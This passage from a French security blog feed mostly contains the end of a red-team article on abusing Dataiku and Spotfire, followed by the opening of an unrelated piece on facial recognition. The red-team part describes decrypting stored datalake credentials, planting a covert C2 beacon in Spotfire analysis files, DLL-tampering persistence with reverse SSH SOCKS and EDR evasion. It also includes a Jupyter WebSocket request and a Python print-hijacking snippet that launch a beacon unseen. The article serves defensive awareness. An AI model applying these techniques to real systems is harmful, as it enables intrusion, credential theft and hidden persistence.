<p>Le fichier <span style="color: #250f6b;"><em>connections.json</em> </span>contient tous les identifiants pour accéder aux <span style="color: #250f6b;"><em>datalakes</em></span>. Cependant, les mots de passe sont stockés chiffrés :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23688" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_14.png" alt="" width="488" height="209" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_14.png 488w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_14-437x187.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_14-71x30.png 71w" sizes="auto, (max-width: 488px) 100vw, 488px" /></p>
<p style="text-align: center;"><em>Figure 14: Mots de passe chiffrés</em></p>
<p>Heureusement, <span style="color: #250f6b;"><em>Dataiku</em> </span>fournit un outil pour décrypter ces informations d’identification :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23690" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_15.png" alt="" width="575" height="76" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_15.png 575w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_15-437x58.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_15-71x9.png 71w" sizes="auto, (max-width: 575px) 100vw, 575px" /></p>
<p style="text-align: center;"><em>Figure 15: Déchiffrement du mot de passe Dataiku</em></p>
<p>Vous pouvez désormais utiliser ces informations d’identification pour accéder à la base de données distante ou directement sur le cloud si elles utilisent <span style="color: #250f6b;"><em>AWS Datalake</em> </span>ou des bases de données stockées sur <span style="color: #250f6b;"><em>AWS</em></span>.</p>
<p>Enfin, le compte <span style="color: #250f6b;"><em>Dataiku</em> </span>utilisé pour exécuter l’instance <span style="color: #250f6b;"><em>Dataiku</em> </span>dispose de tous les privilèges sur les données de l’instance <span style="color: #250f6b;"><em>Dataiku</em></span>. Vous pouvez alors simplement récupérer toutes les données du projet.</p>
<p> </p>
<h1><span style="color: #451dc7;">5. Propagation parmi les utilisateurs</span></h1>
<p>Cette partie s’applique uniquement à <span style="color: #250f6b;"><em>Spotfire</em> </span>car <span style="color: #250f6b;"><em>Dataiku</em> </span>ne fournit pas de client lourd et cette exploitation repose sur le fait que l’utilisateur exécutera du code sur son poste de travail et non sur le serveur distant.</p>
<h2><span style="color: #451dc7;">5.1. Infecter d’autres utilisateurs</span></h2>
<p>Les scripts intégrés dans l’analyse doivent être de confiance pour pouvoir être exécutés par d’autres utilisateurs. Ce processus de confiance est effectué via des utilisateurs <span style="color: #250f6b;"><em>Spotfire</em> </span>dotés de droits spécifiques. Avec l’exécution de code à distance sur l’instance <span style="color: #250f6b;"><em>Spotfire</em></span>, il est possible de créer directement un nouvel utilisateur administrateur. Cependant, en raison de la gestion non sécurisée des utilisateurs par les équipes métiers, tous les utilisateurs disposent généralement des privilèges nécessaires pour faire confiance aux scripts.</p>
<p>Afin de compromettre les utilisateurs, l’application <span style="color: #250f6b;"><em>Spotfire</em> </span>peut être <span style="color: #451dc7;"><strong>utilisée comme une infrastructure de command and control</strong>.</span></p>
<p>Lorsque l’utilisateur ouvre un fichier d’analyse depuis son client lourd, le fichier est téléchargé localement, et tous les scripts contenus sur le projet sont exécutés localement sur le poste de l’utilisateur.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23736" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_16.png" alt="" width="3573" height="2735" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_16.png 3573w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_16-250x191.png 250w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_16-51x39.png 51w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_16-768x588.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_16-1536x1176.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_16-2048x1568.png 2048w" sizes="auto, (max-width: 3573px) 100vw, 3573px" /></p>
<p style="text-align: center;"><em>Figure 16: Vision macro de l’infrastructure C2 du Spotfire</em></p>
<p>Cette feuille d’analyse a <span style="color: #451dc7;"><strong>été infectée via un script JS</strong></span>. Une fois ouvert par l’utilisateur, le code <span style="color: #250f6b;"><em>JavaScript</em> </span>sera exécuté conduisant à l’exécution d’un script python final contenant la balise <span style="color: #250f6b;"><em>C2</em></span>.</p>
<p>Cela peut être fait en ajoutant dans n’importe quelle page du projet un nouveau bouton qui déclenchera le <span style="color: #250f6b;"><em>runtime python C2</em></span>. Le bouton peut être configuré pour avoir une taille de 1 px, ce qui le rend invisible. Ensuite, un script <span style="color: #250f6b;"><em>JS</em> </span>peut être ajouté pour cliquer automatiquement sur le bouton de manière régulière (toutes les <span style="color: #250f6b;"><em>30</em> </span>secondes par exemple).</p>
<p>Tant que le fichier d’analyse est ouvert, le code JavaScript appellera le script python <span style="color: #250f6b;"><em>C2</em> </span>toutes les <span style="color: #250f6b;"><em>30</em> </span>secondes, permettant l’exécution d’un <strong><span style="color: #451dc7;">script python arbitraire et d’une commande du système d’exploitation sur l’ordinateur de l’utilisateur</span>.</strong></p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23738" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_17.png" alt="" width="3573" height="2613" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_17.png 3573w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_17-261x191.png 261w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_17-53x39.png 53w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_17-768x562.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_17-1536x1123.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_17-2048x1498.png 2048w" sizes="auto, (max-width: 3573px) 100vw, 3573px" /></p>
<p style="text-align: center;"><em>Figure 17: Vision bas niveau du fichier d’analyse infecté</em></p>
<p>La seule limitation est que le <span style="color: #250f6b;"><em>JS</em> </span>ne sera déclenché que si l’utilisateur ouvre la page infectée spécifique. Cela peut être contourné en <span style="color: #451dc7;"><strong>redirigeant l’utilisateur vers la page d’analyse malveillante</strong> </span>lorsqu’il l’ouvre.</p>
<p>Lorsque l’utilisateur ouvre l’analyse infectée, celle-ci <span style="color: #451dc7;"><strong>déclenche automatiquement une fonction de données (qui est différente d’un script)</strong>.</span></p>
<p>Les <span style="color: #250f6b;"><em>datafunction</em> </span>sont des fonctions exécutées à l’ouverture du projet. Cependant, leur sous-ensemble de fonctionnalités est limité. Ils ne peuvent pas exécuter régulièrement un script <span style="color: #250f6b;"><em>Python</em> </span>important.</p>
<p>Cette fonction de données est configurée pour <span style="color: #451dc7;"><strong>mettre à jour une propriété de document aléatoire</strong></span>. <span style="color: #250f6b;"><em>Spotfire</em> </span>permet de configurer des hooks de script sur les propriétés modifiées. Ainsi, lorsque la propriété est modifiée par la fonction <span style="color: #250f6b;"><em>data</em></span>, <span style="color: #451dc7;"><strong>cela déclenchera un script IronPython qui affichera une feuille d’analyse spécifique à l’utilisateur</strong>.</span></p>
<p> </p>
<p>Une fois la feuille d’analyse infectée focalisée, elle démarrera la balise python <span style="color: #250f6b;"><em>C2</em> </span>de manière régulière via le script <em><span style="color: #250f6b;">JS</span> </em>comme expliqué précédemment :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23740" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_18.png" alt="" width="3573" height="2613" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_18.png 3573w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_18-261x191.png 261w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_18-53x39.png 53w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_18-768x562.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_18-1536x1123.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_18-2048x1498.png 2048w" sizes="auto, (max-width: 3573px) 100vw, 3573px" /></p>
<p style="text-align: center;"><em>Figure 18: process de lancement automatique du C2</em></p>
<p>Lorsque ce <span style="color: #250f6b;"><em>C2</em> </span>sera déployé, il <span style="color: #451dc7;"><strong>restera actif tant que l’analyse infectée restera ouverte sur le poste de l’utilisateur</strong></span>.</p>
<p>La figure suivante montre la compromission d’un poste utilisateur et l’exécution d’un script <span style="color: #250f6b;"><em>python</em> </span>distant récupéré par la balise <span style="color: #250f6b;"><em>python</em> </span>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23698" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_19.png" alt="" width="964" height="429" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_19.png 964w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_19-429x191.png 429w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_19-71x32.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_19-768x342.png 768w" sizes="auto, (max-width: 964px) 100vw, 964px" /></p>
<p style="text-align: center;"><em>Figure 19: execution de commande sur le poste utilisateur</em></p>
<p>Afin de compromettre un maximum d’utilisateurs, il est possible d’infecter plusieurs projets et d’attendre que les utilisateurs cliquent dessus.</p>
<p>Habituellement, les entreprises stockent des modèles de projet spécifiques quelque part sur le serveur Spotfire. Si vous les trouvez, vous infecterez automatiquement tous les projets basés sur ce modèle.</p>
<h2><span style="color: #451dc7;">5.2. Etendre le temps de compromission</span></h2>
<p>Ce processus <span style="color: #250f6b;"><em>C2</em> </span>est intéressant mais <span style="color: #451dc7;"><strong>se termine lorsque l’utilisateur ferme l’analyse infectée</strong></span>. Afin d’avoir un accès plus persistant à l’ordinateur de l’utilisateur, le processus <span style="color: #250f6b;"><em>C2</em> </span>est <span style="color: #451dc7;"><strong>migré de Spotfire vers une autre instance Python</strong> </span>sur l’ordinateur de l’utilisateur.</p>
<p>En effet, lorsque <span style="color: #250f6b;"><em>Spotfire</em> </span>est installé, il installe également un interpréteur <span style="color: #250f6b;"><em>python</em> </span>brut. Grâce au <span style="color: #250f6b;"><em>C2</em> </span>initial, il est possible, via l’exécution de commandes du système d’exploitation, d’écrire une autre balise <span style="color: #250f6b;"><em>C2</em> </span>sur le système de fichiers utilisateur et de <span style="color: #451dc7;"><strong>déclencher son exécution par l’interpréteur python brut</strong></span>.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23742" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_20.png" alt="" width="3927" height="2096" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_20.png 3927w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_20-358x191.png 358w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_20-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_20-768x410.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_20-1536x820.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_20-2048x1093.png 2048w" sizes="auto, (max-width: 3927px) 100vw, 3927px" /></p>
<p style="text-align: center;"><em>Figure 20: C2 sans les restrictions Spotfire</em></p>
<p>Cette fois, même si l’analyse infectée est fermée, <span style="color: #451dc7;"><strong>le processus python ne sera pas terminé</strong></span> car il n’est plus lié à <span style="color: #250f6b;"><em>Spotfire</em></span><strong>, <span style="color: #451dc7;">accordant à l’attaquant un accès persistant à l’ordinateur de l’utilisateur</span></strong> tant qu’aucun redémarrage n’est effectué.</p>
<p> </p>
<h2><span style="color: #451dc7;">5.3. Persistance d’accès</span></h2>
<h3><span style="color: #451dc7;">5.3.1. DLL Hijacking</span></h3>
<p>Grâce à la balise <span style="color: #250f6b;"><em>C2</em></span>, il est possible de générer des <span style="color: #250f6b;"><em>reverse socks SSH</em></span>. Les reverse socks SSH suffisent pour accéder au réseau interne, cependant, elles seront <span style="color: #451dc7;"><strong>terminées lorsque l’ordinateur de l’utilisateur sera arrêté</strong></span> et ne seront remontées que lorsque l’utilisateur rouvrira une analyse infectée et déclenchera à nouveau l’exécution de la balise C2.</p>
<p>Afin <span style="color: #451dc7;"><strong>d’obtenir de la persistance et de garantir que les socks seront remontées</strong></span> même si l’ordinateur de l’utilisateur est redémarré, certaines <span style="color: #451dc7;"><strong>modifications des fichiers d’application peuvent être effectuées</strong></span> sur le poste de travail de l’utilisateur.</p>
<p>Les utilisateurs compromis via la balise <span style="color: #250f6b;"><em>Spotfire</em> </span>sont des analystes de données et Spotfire est leur principal outil et plus probablement <span style="color: #451dc7;"><strong>la première application qu’ils exécutent lorsqu’ils allument leur ordinateur</strong>.</span></p>
<p>Le client lourd <span style="color: #250f6b;"><em>Spotfire</em> </span>est développé en <em><span style="color: #250f6b;">C#</span></em>. Ses <span style="color: #250f6b;"><em>DLL</em> </span>peuvent être facilement inversées et elles sont stockées dans le dossier utilisateur <span style="color: #250f6b;"><em>APPDATA</em></span>. Ainsi, avec un simple accès à la session utilisateur, il est possible de modifier ces <span style="color: #250f6b;"><em>DLL</em> </span>sans avoir besoin d’une élévation de privilèges spécifique. A l’aide de <span style="color: #250f6b;"><em>SysInternals Procmon.exe</em></span>, on retrouve la liste des <span style="color: #250f6b;"><em>DLL</em> </span>chargées par <span style="color: #250f6b;"><em>Spotfire</em></span>. Ensuite, l’une de ces <span style="color: #250f6b;"><em>DLL</em> </span>fait l’objet d’une ingénierie inverse et est infectée, comme le montre la figure suivante :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23702" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_21.png" alt="" width="576" height="290" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_21.png 576w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_21-379x191.png 379w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_21-71x36.png 71w" sizes="auto, (max-width: 576px) 100vw, 576px" /></p>
<p style="text-align: center;"><em>Figure 21: DNSpy montrant la DLL modifiée</em></p>
<p>Le code malveillant injecté <span style="color: #451dc7;"><strong>créera un nouveau processus SSH montant une nouvelle reverse sock SSH</strong></span> au démarrage de <span style="color: #250f6b;"><em>Spotfire</em></span>.</p>
<p>La <span style="color: #250f6b;"><em>DLL</em> </span>est recompilée et téléchargée sur chaque poste de travail utilisateur compromis et la balise <span style="color: #250f6b;"><em>C2</em> </span>est modifiée pour exécuter cette action lorsqu’elle détecte un nouveau rappel utilisateur.</p>
<h3><span style="color: #451dc7;">5.3.2. Considération OPSEC</span></h3>
<p>Bien qu’elle ressemble à du <span style="color: #250f6b;"><em>DLL hijacking</em></span>, cette technique est difficilement détectable par un <span style="color: #250f6b;"><em>EDR</em> </span>car la <span style="color: #250f6b;"><em>DLL</em> </span>d’origine n’a pas été échangée par un logiciel malveillant comme dans le <span style="color: #250f6b;"><em>DLL hijacking</em> </span>ou le <span style="color: #250f6b;"><em>DLL proxying</em></span>. La <span style="color: #250f6b;"><em>DLL</em> </span>exécutée par <span style="color: #250f6b;"><em>Spotfire</em> </span>est celle d’origine recompilée avec un code supplémentaire engendrant un nouveau processus.</p>
<p>Comme la <span style="color: #250f6b;"><em>DLL Spotfire</em> </span>d’origine n’est pas signée, <span style="color: #250f6b;"><em>l’EDR</em> </span>ne peut pas détecter la modification.</p>
<h3><span style="color: #451dc7;">5.3.3. Résilience</span></h3>
<p>Pour éviter d’être bloqué via une règle de pare-feu si l’adresse <span style="color: #250f6b;"><em>IP</em> </span>des <span style="color: #250f6b;"><em>socks</em> </span>est sur liste noire, le code malveillant implanté dans la <span style="color: #250f6b;"><em>DLL Spotfire</em> </span>ne contient pas d’adresse <span style="color: #250f6b;"><em>IP</em> </span>distante, de port et de clé <span style="color: #250f6b;"><em>SSH</em> </span>codés en dur, à chaque fois qu’il récupère ces informations à partir d’un serveur distant différent.</p>
<p>Ainsi, même si le <span style="color: #250f6b;"><em>SOC</em> </span>met sur liste noire l’adresse <span style="color: #250f6b;"><em>IP SOCKS</em></span>, il est possible de modifier à distance l’adresse <span style="color: #250f6b;"><em>IP</em> </span>de destination <span style="color: #250f6b;"><em>SOCKS</em> </span>sans avoir besoin d’un accès direct aux ordinateurs des utilisateurs compromis.</p>
<h1><span style="color: #451dc7;">6. Se cacher à la vue de tous</span></h1>
<p>L’application <span style="color: #250f6b;"><em>Dataiku</em> </span>peut être utilisée pour masquer l’exécution de commandes malveillantes et faire croire qu’elle a été effectuée par un autre utilisateur.</p>
<h2><span style="color: #451dc7;">6.1. Intégration Jupyter dans Dataiku</span></h2>
<p>Comme dit précédemment, <span style="color: #250f6b;"><em>Dataiku</em> </span>expose une application de type <span style="color: #250f6b;"><em>Jupyter</em></span>. En examinant le code <span style="color: #250f6b;"><em>Dataiku</em> </span>et les différents processus exécutés par l’instance <span style="color: #250f6b;"><em>DSS</em></span>, cela montre que <span style="color: #250f6b;"><em>Dataiku</em> </span>n’a pas redéveloppé des applications de type <span style="color: #250f6b;"><em>Jupyter</em></span>, mais <strong><span style="color: #451dc7;">a simplement exécuté une instance Jupyter Notebook complète en arrière-plan</span></strong><span style="color: #451dc7;"> :</span></p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23704" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_22.png" alt="" width="599" height="248" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_22.png 599w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_22-437x181.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_22-71x29.png 71w" sizes="auto, (max-width: 599px) 100vw, 599px" /></p>
<p style="text-align: center;"><em>Figure 22: serveur Jupyter sur le port 11002</em></p>
<p>Une simple redirection de port accorde l’accès à l’instance <em><span style="color: #250f6b;">Jupyter</span> </em>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23706" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_23.png" alt="" width="545" height="161" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_23.png 545w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_23-437x129.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_23-71x21.png 71w" sizes="auto, (max-width: 545px) 100vw, 545px" /></p>
<p style="text-align: center;"><em>Figure 23: instance Jupyter</em></p>
<p>Lors de l’exécution d’une cellule <span style="color: #250f6b;"><em>Jupyter</em></span>, il est possible, en effectuant une capture réseau, de voir la communication <span style="color: #250f6b;"><em>TCP</em> </span>entre l’instance <span style="color: #250f6b;"><em>Dataiku</em> </span>et le backend <span style="color: #250f6b;"><em>Jupyter</em> </span>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23708" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_24.png" alt="" width="873" height="204" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_24.png 873w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_24-437x102.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_24-71x17.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_24-768x179.png 768w" sizes="auto, (max-width: 873px) 100vw, 873px" /></p>
<p style="text-align: center;"><em>Figure 24: paquet TCP</em></p>
<p>Cela montre que l’instance <span style="color: #250f6b;"><em>Dataiku</em> </span>expose pleinement le noyau <span style="color: #250f6b;"><em>Jupyter</em> </span>et une enquête supplémentaire montre que le <span style="color: #250f6b;"><em>TOKEN API</em> </span>utilisé par <span style="color: #250f6b;"><em>Dataiku</em> </span>pour communiquer avec le backend <span style="color: #250f6b;"><em>Jupyter</em> </span>est le même quel que soit le notebook <span style="color: #250f6b;"><em>Jupyter</em> </span>chargé.</p>
<p>Ainsi, tout utilisateur ayant accès à la fonctionnalité <span style="color: #250f6b;"><em>Jupyter Notebook</em> </span>est <span style="color: #451dc7;"><strong>capable d’exécuter du code sur n’importe quel noyau Jupyter chargé tant qu’il dispose de l’ID du noyau</strong>.</span> Heureusement, les identifiants des noyaux sont affichés dans les lignes de commande du processus. Ainsi, le code suivant peut être utilisé pour récupérer tous les identifiants du noyau :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23710" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_25.png" alt="" width="645" height="115" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_25.png 645w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_25-437x78.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_25-71x13.png 71w" sizes="auto, (max-width: 645px) 100vw, 645px" /></p>
<p style="text-align: center;"><em>Figure 25: recuperation de l’ID Kernel</em></p>
<p> </p>
<h2><span style="color: #451dc7;">6.2. Obfusquer la requête d’exécution</span></h2>
<p>Une fois l’identifiant du noyau récupéré, il est <span style="color: #451dc7;"><strong>possible de créer une session sur le noyau</strong></span> :</p>
<pre><code>GET /jupyter/api/kernels/0ab25b8f-1714-4bc9-8449-c09faf5c2e29/channels?session_id=c8c6a227ea3c465c82e39c403ba705a18 HTTP/1.1</code><br /><code>Host: 10.125.3.111:11000</code><br /><code>&lt;SNIP&gt;</code><br /><code>Origin: http://10.125.3.111:11000</code><br /><code>Sec-WebSocket-Key: obLqAtXNc/KxMJOp27qxIQ==</code><br /><code>Connection: keep-alive, Upgrade</code><br /><code>Cookie: &lt;SNIP&gt;</code><br /><code>Pragma: no-cache</code><br /><code>Cache-Control: no-cache</code><br /><code>Upgrade: websocket</code></pre>
<p>Cette requête créera un <span style="color: #250f6b;"><em>websocket</em> </span>pour communiquer avec le noyau <span style="color: #250f6b;"><em>Jupyter</em></span>. <span style="color: #451dc7;"><strong>Aucun contrôle d’accès spécifique n’est effectué sur ce point de terminaison</strong></span>. Tant que vous êtes autorisé à exécuter n’importe quel notebook <span style="color: #250f6b;"><em>Jupyter</em></span>, vous pouvez vous connecter à n’importe quel noyau <span style="color: #250f6b;"><em>Jupyter</em> </span>même si vous ne pouvez pas accéder au notebook à l’aide de l’interface utilisateur.</p>
<p>Il est alors possible d’utiliser le <span style="color: #250f6b;"><em>websocket</em> </span>pour envoyer une commande à exécuter au noyau <span style="color: #250f6b;"><em>python</em> </span>:</p>
<pre><code>{</code><br /><code>  "header": {</code><br /><code>    "msg_id": "ef46ce660d49457c890ce550420ed921",</code><br /><code>    "username": "username",</code><br /><code>    "session": "f4fe997b336f4a019c4c6837df699d30",</code><br /><code>    "msg_type": "execute_request",</code><br /><code>    "version": "5.2"</code><br /><code>  },</code><br /><code>  "metadata": {},</code><br /><code>  "content": {</code><br /><code>    "code": "print('test')",</code><br /><code>    "silent": false,</code><br /><code>    "store_history": true,</code><br /><code>    "user_expressions": {},</code><br /><code>    "allow_stdin": true,</code><br /><code>    "stop_on_error": true</code><br /><code>  },</code><br /><code>  "buffers": [],</code><br /><code>  "parent_header": {},</code><br /><code>  "channel": "shell"</code><br /><code>}</code></pre>
<p> </p>
<p>Ce qui est intéressant, c’est que la commande est exécutée, mais <span style="color: #451dc7;"><strong>n’est enregistrée dans aucune cellule Jupyter, ce qui conduit à une exécution de commande invisible</strong></span> tant que le noyau est vivant.</p>
<p>De plus, si vous modifiez la valeur d’une variable spécifique, elle sera persistante. Donc, si vous envoyez la commande <span style="color: #250f6b;"><em>python</em> </span>:</p>
<pre><code>def hijacked_print(value):</code><br /><code>    import sys</code><br /><code>    process = subprocess.Popen(‘YOUR BEACON’, stdout=subprocess.PIPE, shell=False)</code><br /><code>    sys.stdout.write('hijacked print: {}'.format(value))</code><br /><br /><br /><code>print = hijacked_print</code></pre>
<p>La balise sera exécutée lorsqu’un utilisateur utilise la commande <span style="color: #250f6b;"><em>print</em> </span>et comme l’exécution précédente de <span style="color: #250f6b;"><em>Python</em> </span>n’a laissé aucune trace, bonne chance pour la détecter et trouver quel utilisateur a été compromis.</p>
<h1><span style="color: #451dc7;">7. Conclusion</span></h1>
<p>Les applications de science des données sont <span style="color: #451dc7;"><strong>utiles à n’importe quelle étape de la killchain</strong></span>. Pour un attaquant distant, ils peuvent être utilisés comme point d’entrée initial sur le système d’information, ils peuvent être exploités pour trouver des informations d’identification stockées de manière non sécurisée afin de rebondir sur le système d’information, leurs capacités de script peuvent être utilisées pour <span style="color: #451dc7;"><strong>diffuser une balise malveillante entre plusieurs utilisateurs</strong></span> et les données qu’ils contiennent peuvent être facilement volées et exfiltrées.</p>
<p>Ces applications sont <span style="color: #451dc7;"><strong>sapées soit par les attaquants, soit par le service informatique</strong></span>. Une simple compromission de l’une de ces applications peut avoir un impact considérable sur l’ensemble du système d’information.</p>
<p>Il est temps que l’infosec commence à intégrer le mot à la mode comme le BigData et l’apprentissage automatique dans la killchain, l’attaquant l’a déjà fait…</p>
<p> </p>
<p> </p>
<p> </p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2024/07/datascience-pour-la-redteam-etendre-sa-surface-dattaque/">DataScience pour la RedTeam: Etendre sa surface d&rsquo;attaque</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2024/07/datascience-pour-la-redteam-etendre-sa-surface-dattaque/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Les différents visages de la Reconnaissance Faciale : fonctionnement et attaques</title>
		<link>https://www.riskinsight-wavestone.com/2024/06/les-differents-visages-de-la-reconnaissance-faciale-fonctionnement-et-attaques/</link>
					<comments>https://www.riskinsight-wavestone.com/2024/06/les-differents-visages-de-la-reconnaissance-faciale-fonctionnement-et-attaques/#respond</comments>
		
		<dc:creator><![CDATA[Thomas Rousseau]]></dc:creator>
		<pubDate>Mon, 10 Jun 2024 14:44:48 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Digital Identity]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=23248</guid>

					<description><![CDATA[<p>Parmi les technologies qui paraissaient être de la science-fiction il y a quelques décennies, et qui font aujourd’hui partie intégrante de l’écosystème numérique, la Reconnaissance Faciale (RF) occupe une place de choix. Cet outil se retrouve en effet de plus...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2024/06/les-differents-visages-de-la-reconnaissance-faciale-fonctionnement-et-attaques/">Les différents visages de la Reconnaissance Faciale : fonctionnement et attaques</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">Parmi les technologies qui paraissaient être de la science-fiction il y a quelques décennies, et qui font aujourd’hui partie intégrante de l’écosystème numérique, la Reconnaissance Faciale (RF) occupe une place de choix. Cet outil se retrouve en effet de plus en plus dans notre quotidien :  déverrouillage de nos téléphones, portiques douaniers dans les aéroports, authentification pour systèmes de paiement, tri automatisé de nos photos ou encore recherche de personnes.</p>
<p> </p>
<h2>Démystification du fonctionnement</h2>
<p> </p>
<p style="text-align: justify;">Ces technologies ont comme objectifs d’identifier et d’extraire les visages d’images ou de flux vidéo, et de calculer une empreinte faciale pour chacun de ces visages, encapsulant l’ensemble de leurs caractéristiques, afin de faciliter une recherche et identification par la suite.  </p>
<p style="text-align: justify;">L’idée d’utiliser le visage comme information d’identification dans des systèmes ainsi que les premiers systèmes fonctionnels remonte aux débuts des années 1960 avec le système Woodrow Wilson Bledsoe (1964), le système était capable de reconnaître des visages en analysant des photos numérisées. Son approche reposait sur l’identification des caractéristiques faciales telles que la distance entre les yeux et la largeur du nez.<br />Les dernières avancées en matière d’intelligence artificielle, notamment avec l’avènement du Machine Learning ainsi que l’explosion du volume de photos et vidéos partagé sur Internet, ont permis un développement rapide et massif des algorithmes de reconnaissance faciale. <br /><br /></p>
<p style="text-align: justify;">En pratique, ces systèmes s’appuieront sur les images capturées par nos smartphones et caméra, constituées d’une grille de pixels, portant chacun les valeurs des trois couleurs, rouge, vert et bleu pour le pixel en question. Contrairement au fonctionnement de la vision humaine, c’est sous cette forme complètement numérique que le système de RF appréhendera les images. Le traitement qu’appliquera l’algorithme de RF devra ainsi généralement suivre les 5 étapes suivantes :</p>
<ol style="text-align: justify;">
<li><u>Capture de l’image :</u> Tout commence par la capture d’une image contenant un visage. Cette image peut provenir d’une photo prise par une caméra tout comme être extraite d’une vidéo.</li>
<li><u>Détection du visage :</u> L’algorithme va analyser l’image pour détecter la présence et la position des visages. Pour cela il va utiliser des techniques de traitement d’image pour rechercher des motifs et des schémas caractéristiques des visages, comme les contours, les éléments structurant (comme les yeux) et les variations de luminosité</li>
